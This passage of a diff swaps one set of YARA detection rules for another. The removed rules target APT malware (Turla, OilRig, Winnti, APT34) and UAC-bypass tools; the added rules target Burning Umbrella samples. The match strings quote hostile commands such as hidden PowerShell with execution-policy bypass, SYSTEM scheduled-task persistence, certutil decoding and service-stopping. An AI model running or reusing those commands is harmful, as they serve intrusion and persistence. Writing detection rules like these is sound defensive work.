 
 	strings:
-		$a1 = "/scripts/m/query.php?id=" fullword wide
-		$a2 = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" fullword wide
-		$a3 = "GetUserNameW fails" fullword wide
-		$s1 = "QVSWQQ" fullword ascii
-		$s2 = "SRRRQP" fullword ascii
-		$s3 = "QSVVQQ" fullword ascii
+		$s1 = { 40 00 00 E0 75 68 66 61 6F 68 6C 79 }
+		$s2 = { 40 00 00 E0 64 6A 7A 66 63 6D 77 62 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (2 of ($a*) or 4 of them )
+		uint16(0)==0x5a4d and filesize <4000KB and (pe.imphash()=="baa93d47220682c04d92f7797d9224ce" and $s1 in (0..1024) and $s2 in (0..1024))
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Turlamosquito_MAL_Oct22_1 : FILE
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_2 : FILE
 {
 	meta:
-		description = "Detects Turla Mosquito malware"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f5ad0c0f-81ca-5157-aefb-ead049ada30d"
-		date = "2022-10-25"
+		id = "926b4a29-ce47-559b-94e3-1fabd90f3fbe"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_mosquito.yar#L129-L156"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fbaca774d6398aac7c171a5d87aa456a1921c1b80449d06f392b088db33ee845"
-		score = 80
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L33-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0c298176e5849b2b202089f27cffb7646243d19a90898bbf079a97d2f624a27e"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "6b9e48e3f4873cfb95639d9944fe60e3b056daaa2ea914add14c982e3e11128b"
-		hash2 = "b868b674476418bbdffbe0f3d617d1cce4c2b9dae0eaf3414e538376523e8405"
-		hash3 = "e7fd14ca45818044690ca67f201cc8cfb916ccc941a105927fc4c932c72b425d"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "801a64a730fc8d80e17e59e93533c1455686ca778e6ba99cf6f1971a935eda4c"
 
 	strings:
-		$s1 = "Logger32.dll" ascii fullword
-		$s4 = " executing %u command on drive %martCommand : CWin32ApiErrorExce" wide
-		$s5 = "Unsupported drive!!!" ascii fullword
-		$s7 = "D:\\Build_SVN\\PC_MAGICIAN_4." ascii fullword
-		$op1 = { 40 cc 8b 8b 06 cc 55 00 70 8b 10 10 33 51 04 46 04 64 }
-		$op2 = { c3 10 e8 50 04 00 cc ff 8d 00 69 8d 75 ff 68 ec 6a 4d }
-		$op3 = { e8 64 a1 6e 00 64 a1 c2 04 08 75 40 73 1d 8b ff cc 10 89 cc 8b c3 cc af }
+		$s1 = { 40 00 00 E0 63 68 72 6F 6D 67 75 78 }
+		$s2 = { 40 00 00 E0 77 62 68 75 74 66 6F 61 }
+		$s3 = "ActiveX Manager" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and (pe.imphash()=="073235ae6dfbb1bf5db68a039a7b7726" or all of them )
+		uint16(0)==0x5a4d and filesize <3000KB and $s1 in (0..1024) and $s2 in (0..1024) and $s3
 }
 import "pe"
 
-rule SIGNATURE_BASE_Oilrig_Rgdoor_Gen1 : FILE
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_3 : FILE
 {
 	meta:
-		description = "Detects RGDoor backdoor used by OilRig group"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "68ac1f35-4eaa-5899-b66c-296d7c5fa462"
-		date = "2018-01-27"
+		id = "b997822a-3f62-51b4-bd96-e780ffe60812"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig_rgdoor.yar#L13-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "896900f788337327d444495ba0cd4c7c327bb4f9166bc2a981a348cf2c34cbdb"
-		score = 80
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L53-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ad39864eec58b1c655bd3d510faa314702d118cee845da55d189e7252174eafb"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a9c92b29ee05c1522715c7a2f9c543740b60e36373cb47b5620b1f3d8ad96bfa"
+		hash1 = "92efbecc24fbb5690708926b6221b241b10bdfe3dd0375d663b051283d0de30f"
 
 	strings:
-		$c1 = { 00 63 6D 64 24 00 00 00 00 72 00 00 00 00 00 00 00 75 70 6C 6F
-              61 64 24 }
-		$c2 = { 63 61 6E 27 74 20 6F 70 65 6E 20 66 69 6C 65 3A 20 00 00 00 00
-              00 00 00 64 6F 77 6E 6C 6F 61 64 24 }
-		$s1 = "MyNativeModule.dll" fullword ascii
-		$s2 = "RGSESSIONID=" fullword ascii
-		$s3 = "download$" fullword ascii
-		$s4 = ".?AVCHelloWorld@@" fullword ascii
+		$s1 = "HKEY_CLASSES_ROOT\\Word.Document.8\\shell\\Open\\command" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="47cb127aad6c7c9954058e61a2a6429a" or 1 of ($c*) or 2 of them )
+		uint16(0)==0x5a4d and filesize <400KB and 1 of them
 }
-rule SIGNATURE_BASE_Winnti_Fonfig : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_4 : FILE
 {
 	meta:
-		description = "Winnti sample - file fonfig.exe"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ca3c186c-0286-5b9b-9585-7680336c8c3d"
-		date = "2017-01-25"
+		id = "3489f64b-7ebc-55b8-bd11-afaa719e572b"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/VbvJtL"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_ms_report_201701.yar#L10-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "715892268431bf76cf9bf0bdbeaf4129befdc590b5b2dcae479d95dfe77561a4"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L68-L99"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1889ce1101ebb352c33279d40641f1f2312c45c6f7e267f4912a9faf320e5971"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2c9882854a60c624ecf6b62b6c7cc7ed04cf4a29814aa5ed1f1a336854697641"
+		hash1 = "a1629e8abce9d670fdb66fa1ef73ad4181706eefb8adc8a9fd257b6a21be48c6"
 
 	strings:
-		$s1 = "mciqtz.exe" fullword wide
-		$s2 = "knat9y7m" fullword ascii
+		$x1 = "dumpodbc.exe" fullword ascii
+		$x2 = "photo_Bundle.exe" fullword ascii
+		$x3 = "Connect 2 fails : %d,%s:%d" fullword ascii
+		$x4 = "Connect fails 1 : %d %s:%d" fullword ascii
+		$x5 = "New IP : %s,New Port: %d" fullword ascii
+		$x6 = "Micrsoft Corporation. All rights reserved." fullword wide
+		$x7 = "New ConFails : %d" fullword ascii
+		$s1 = "cmd /c net stop stisvc" fullword ascii
+		$s2 = "cmd /c net stop spooler" fullword ascii
+		$s3 = "\\temp\\s%d.dat" ascii
+		$s4 = "cmd /c net stop wuauserv" fullword ascii
+		$s5 = "User-Agent: MyApp/0.1" fullword ascii
+		$s6 = "%s->%s Fails : %d" fullword ascii
+		$s7 = "Enter WorkThread,Current sock:%d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		uint16(0)==0x5a4d and filesize <50KB and ((pe.exports("Print32") and 2 of them ) or 1 of ($x*) or 4 of them )
 }
-rule SIGNATURE_BASE_Winnti_Nlaifsvc : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_6 : FILE
 {
 	meta:
-		description = "Winnti sample - file NlaifSvc.dll"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d2bfcad4-9762-5f2a-88cc-e8cdc648e710"
-		date = "2017-01-25"
+		id = "7198a734-fd54-5cb5-9966-b91796a415c7"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/VbvJtL"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_ms_report_201701.yar#L26-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7268c79baf37174e04b391ae42cdd6014f17478c5b89d0c7b8042eb839324f87"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L101-L115"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ee671bc09cc0c84c9817ed800f1416a75f18a70fd2cf6a7e9f063fffa01fa003"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "964f9bfd52b5a93179b90d21705cd0c31461f54d51c56d558806fe0efff264e5"
+		hash1 = "49ef2b98b414c321bcdbab107b8fa71a537958fe1e05ae62aaa01fe7773c3b4b"
 
 	strings:
-		$x1 = "cracked by ximo" ascii
-		$s1 = "Yqrfpk" fullword ascii
-		$s2 = "IVVTOC" fullword ascii
+		$s1 = "ExecuteFile=\"hidcon:nowait:\\\"Word\\\\r.bat\\\"\"" fullword ascii
+		$s2 = "InstallPath=\"%Appdata%\\\\Microsoft\"" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*) or 2 of them )) or (3 of them )
+		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
 }
-rule SIGNATURE_BASE_Office_OLE_DDE : FILE
-{
-	meta:
-		description = "Detects DDE in MS Office documents"
-		author = "NVISO Labs"
-		id = "2ead3cc9-f517-5916-93c9-1393362aa45d"
-		date = "2017-10-12"
-		modified = "2023-12-05"
-		reference = "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_dde_in_office_docs.yar#L48-L63"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2d2f7dce166dc8ef8aba7e8eaafaf4d1bb34cdc1ce97d34125a65147cf5e08ac"
-		score = 50
-		quality = 60
-		tags = "FILE"
-
-	strings:
-		$a = /\x13\s*DDE\b[^\x14]+/ nocase
-		$r1 = { 52 00 6F 00 6F 00 74 00 20 00 45 00 6E 00 74 00 72 00 79 }
-		$r2 = "Adobe ARM Installer"
+import "pe"
 
-	condition:
-		uint32be(0)==0xD0CF11E0 and $a and not 1 of ($r*)
-}
-rule SIGNATURE_BASE_APT34_Malware_HTA : FILE
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_7 : FILE
 {
 	meta:
-		description = "Detects APT 34 malware"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "683faded-7e4b-5b2f-9f85-300db96ed9d1"
-		date = "2017-12-07"
+		id = "7e427512-a8ee-53ae-a141-e995e74ca845"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt34.yar#L12-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0bf9b988b3ef46df29e0f91c3ea186aaab8a1ccb79563e97521311bf2e1215d7"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L117-L130"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "115774c17003408a04e4b2678f32392b5439b55f3d4688476f6f877520acf75d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f6fa94cc8efea0dbd7d4d4ca4cf85ac6da97ee5cf0c59d16a6aafccd2b9d8b9a"
-
-	strings:
-		$x1 = "WshShell.run \"cmd.exe /C C:\\ProgramData\\" ascii
-		$x2 = ".bat&ping 127.0.0.1 -n 6 > nul&wscript  /b" ascii
-		$x3 = "cmd.exe /C certutil -f  -decode C:\\ProgramData\\" ascii
-		$x4 = "a.WriteLine(\"set Shell0 = CreateObject(" ascii
-		$x5 = "& vbCrLf & \"Shell0.run" ascii
-		$s1 = "<title>Blog.tkacprow.pl: HTA Hello World!</title>" fullword ascii
-		$s2 = "<body onload=\"test()\">" fullword ascii
+		hash1 = "a4ce3a356d61fbbb067e1430b8ceedbe8965e0cfedd8fb43f1f719e2925b094a"
+		hash2 = "a8bfc1e013f15bc395aa5c047f22ff2344c343c22d420804b6d2f0a67eb6db64"
+		hash3 = "959612f2a9a8ce454c144d6aef10dd326b201336a85e69a604e6b3892892d7ed"
 
 	condition:
-		filesize <60KB and (1 of ($x*) or all of ($s*))
+		uint16(0)==0x5a4d and filesize <400KB and pe.imphash()=="f5b113d6708a3927b5cc48f2215fcaff"
 }
-rule SIGNATURE_BASE_APT34_Malware_Exeruner : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_8 : FILE
 {
 	meta:
-		description = "Detects APT 34 malware"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8ddfa59d-9b8a-5cb6-a992-6498ac9be75d"
-		date = "2017-12-07"
+		id = "1b89d5a1-1425-5cb7-b429-563769bc0943"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt34.yar#L34-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "71840d9a0f8a5dc39656e6bf1ad94fa275bcd18baf6b374dfe040c161d62a960"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L132-L145"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1a42667463ff006b155c93b8986ab75441ba00d0c3c146c2d4c6929250627d8d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c75c85acf0e0092d688a605778425ba4cb2a57878925eee3dc0f4dd8d636a27a"
+		hash1 = "73270fe9bca94fead1b5b38ddf69fae6a42e574e3150d3e3ab369f5d37d93d88"
 
 	strings:
-		$x1 = "\\obj\\Debug\\exeruner.pdb" ascii
-		$x2 = "\"wscript.shell`\")`nShell0.run" wide
-		$x3 = "powershell.exe -exec bypass -enc \" + ${global:$http_ag} +" wide
-		$x4 = "/c powershell -exec bypass -window hidden -nologo -command " fullword wide
-		$x5 = "\\UpdateTasks\\JavaUpdatesTasksHosts\\" wide
-		$x6 = "schtasks /create /F /ru SYSTEM /sc minute /mo 1 /tn" wide
-		$x7 = "UpdateChecker.ps1 & ping 127.0.0.1" wide
-		$s8 = "exeruner.exe" fullword wide
-		$s9 = "${global:$address1} = $env:ProgramData + \"\\Windows\\Microsoft\\java\";" fullword wide
-		$s10 = "C:\\ProgramData\\Windows\\Microsoft\\java" fullword wide
-		$s11 = "function runByVBS" fullword wide
-		$s12 = "$84e31856-683b-41c0-81dd-a02d8b795026" fullword ascii
-		$s13 = "${global:$dns_ag} = \"aQBmACAAKAAoAEcAZQB0AC0AVwBtAGk" wide
+		$s1 = "cmd /c open %s" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 1 of them
+		uint16(0)==0x5a4d and filesize <400KB and 1 of them
 }
-rule SIGNATURE_BASE_Win7Elevatev2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_10 : FILE
 {
 	meta:
-		description = "Detects Win7Elevate - Windows UAC bypass utility"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "af092d16-ca95-5985-822a-50457c9cbcc9"
-		date = "2015-05-14"
+		id = "e4cb2211-efbe-55f9-99e3-c01601904509"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "http://www.pretentiousname.com/misc/W7E_Source/Win7Elevate_Inject.cpp.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_uac_elevators.yar#L2-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2f5859388c6074f1a75f0c40387f30ffa50d6b87f20f518fd1af7398c95cd650"
-		score = 60
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L147-L163"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "14d0ab1114c168d7222a49e68ba12718b6285969e667b95be665d59b1fc98358"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4f53ff6a04e46eda92b403faf42219a545c06c29"
-		hash2 = "808d04c187a524db402c5b2be17ce799d2654bd1"
+		hash1 = "70992a72412c5d62d003a29c3967fcb0687189d3290ebbc8671fa630829f6694"
+		hash2 = "48f0bbc3b679aac6b1a71c06f19bb182123e74df8bb0b6b04ebe99100c57a41e"
+		hash3 = "5475ae24c4eeadcbd49fcd891ce64d0fe5d9738f1c10ba2ac7e6235da97d3926"
 
 	strings:
-		$x1 = "This program attempts to bypass Windows 7's default UAC settings to run " wide
-		$x2 = "Win7ElevateV2\\x64\\Release\\" ascii
-		$x3 = "Run the command normally (without code injection)" wide
-		$x4 = "Inject file copy && elevate command" fullword wide
-		$x5 = "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html" fullword wide
-		$x6 = "For injection, pick any unelevated Windows process with ASLR on:" fullword wide
-		$s1 = "\\cmd.exe" wide
-		$s2 = "runas" wide
-		$s3 = "explorer.exe" wide
-		$s4 = "Couldn't load kernel32.dll" wide
-		$s5 = "CRYPTBASE.dll" wide
-		$s6 = "shell32.dll" wide
-		$s7 = "ShellExecuteEx" ascii
-		$s8 = "COMCTL32.dll" ascii
-		$s9 = "ShellExecuteEx" ascii
-		$s10 = "HeapAlloc" ascii
+		$s1 = "revjj.syshell.org" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or all of ($s*))
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_UACME_Akagi
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_11 : FILE
 {
 	meta:
-		description = "Rule to detect UACMe - abusing built-in Windows AutoElevate backdoor"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7979129e-99a3-522a-8285-9061e1e2bd41"
-		date = "2015-05-14"
+		id = "9762c68c-4d69-5d38-aaf4-0048e7404147"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/hfiref0x/UACME"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_uac_elevators.yar#L35-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e10f39837a53dcc6d301d21a69fca965aeca0a07cfc832a9a0142b08d280f955"
-		score = 60
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L165-L178"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "847681b3e9d4fc38c483663f5a7e16e7f8f95cfa77728d7316edbe6fbf5fe2c1"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "edd2138bbd9e76c343051c6dc898054607f2040a"
-		hash2 = "e3a919ccc2e759e618208ededa8a543954d49f8a"
+		hash1 = "278e9d130678615d0fee4d7dd432f0dda6d52b0719649ee58cbdca097e997c3f"
 
 	strings:
-		$x1 = "UACMe injected, Fubuki at your service." wide fullword
-		$x3 = "%temp%\\Hibiki.dll" fullword wide
-		$x4 = "[UCM] Cannot write to the target process memory." fullword wide
-		$s1 = "%systemroot%\\system32\\cmd.exe" wide
-		$s2 = "D:(A;;GA;;;WD)" wide
-		$s3 = "%systemroot%\\system32\\sysprep\\sysprep.exe" fullword wide
-		$s4 = "/c wusa %ws /extract:%%windir%%\\system32" fullword wide
-		$s5 = "Fubuki.dll" ascii fullword
-		$l1 = "ntdll.dll" ascii
-		$l2 = "Cabinet.dll" ascii
-		$l3 = "GetProcessHeap" ascii
-		$l4 = "WriteProcessMemory" ascii
-		$l5 = "ShellExecuteEx" ascii
+		$s1 = "Resume.app/Contents/Java/Resume.jarPK" fullword ascii
 
 	condition:
-		(1 of ($x*)) or (3 of ($s*) and all of ($l*))
+		uint16(0)==0x4b50 and filesize <700KB and 1 of them
 }
-rule SIGNATURE_BASE_Uacelevator : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_12 : FILE
 {
 	meta:
-		description = "UACElevator bypassing UAC - file UACElevator.exe"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "629b1a92-726d-5713-ae3d-74cc8a1e52ad"
-		date = "2015-05-14"
+		id = "805a00e7-2959-53d8-b769-0f8e54e1bbd5"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/MalwareTech/UACElevator"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_uac_elevators.yar#L66-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fd29d5a72d7a85b7e9565ed92b4d7a3884defba6"
-		logic_hash = "8215746b2c84a5500221580969fb2eac8ee11cbb5af4ba5bf2dbd1def65b8745"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L180-L201"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "31798a39d10bfa4520d91e1f555302e9ac4e38d90f8bc27376a5e7e1ccfcc5e1"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b9aba520eeaf6511877c1eec5f7d71e0eea017312a104f30d3b8f17c89db47e8"
 
 	strings:
-		$x1 = "\\UACElevator.pdb" ascii
-		$s1 = "%userprofile%\\Downloads\\dwmapi.dll" fullword ascii
-		$s2 = "%windir%\\system32\\dwmapi.dll" fullword ascii
-		$s3 = "Infection module: %s" fullword ascii
-		$s4 = "Could not save module to %s" fullword ascii
-		$s5 = "%s%s%p%s%ld%s%d%s" fullword ascii
-		$s6 = "Stack area around _alloca memory reserved by this function is corrupted" fullword ascii
-		$s7 = "Stack around the variable '" fullword ascii
-		$s8 = "MSVCR120D.dll" fullword wide
-		$s9 = "Address: 0x" fullword ascii
+		$s1 = "%SystemRoot%\\System32\\qmgr.dll" fullword ascii
+		$s2 = "rundll32.exe %s,Startup" fullword ascii
+		$s3 = "nvsvcs.dll" fullword wide
+		$s4 = "SYSTEM\\CurrentControlSet\\services\\BITS\\Parameters" fullword ascii
+		$s5 = "http://www.sginternet.net 0" fullword ascii
+		$s6 = "Microsoft Corporation. All rights reserved." fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <172KB and ($x1 or 8 of ($s*))
+		uint16(0)==0x5a4d and filesize <80KB and (pe.exports("SvcServiceMain") and 5 of them )
 }
-rule SIGNATURE_BASE_S4U : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_13 : FILE
 {
 	meta:
-		description = "Detects s4u executable which allows the creation of a cmd.exe with the context of any user without requiring the password. - file s4u.exe"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0d746311-56fe-538c-946c-3a3dd1603adc"
-		date = "2015-06-05"
+		id = "38c73425-bbdd-5b74-8ad4-5e0052039dd8"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/aurel26/s-4-u-for-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_uac_elevators.yar#L92-L139"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cfc18f3d5306df208461459a8e667d89ce44ed77"
-		logic_hash = "b1882710f2514fb44ff01631636c0a66beef620c8bea644ebe05cd5385a9e494"
-		score = 50
-		quality = 83
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L203-L215"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8cc611685a822e0484146a08f4ebc2fa8dd260dc8627929333060696d8dc35ce"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-
-	strings:
-		$x0 = "s4u.exe Domain\\Username [Extra SID]" fullword ascii
-		$x1 = "\\Release\\s4u.pdb" ascii
-		$s0 = "CreateProcessAsUser failed (error %u)." fullword ascii
-		$s1 = "GetTokenInformation failed (error: %u)." fullword ascii
-		$s2 = "LsaLogonUser failed (error 0x%x)." fullword ascii
-		$s3 = "LsaLogonUser: OK, LogonId: 0x%x-0x%x" fullword ascii
-		$s4 = "LookupPrivilegeValue failed (error: %u)." fullword ascii
-		$s5 = "The token does not have the specified privilege (%S)." fullword ascii
-		$s6 = "Unable to parse command line." fullword ascii
-		$s7 = "Unable to find logon SID." fullword ascii
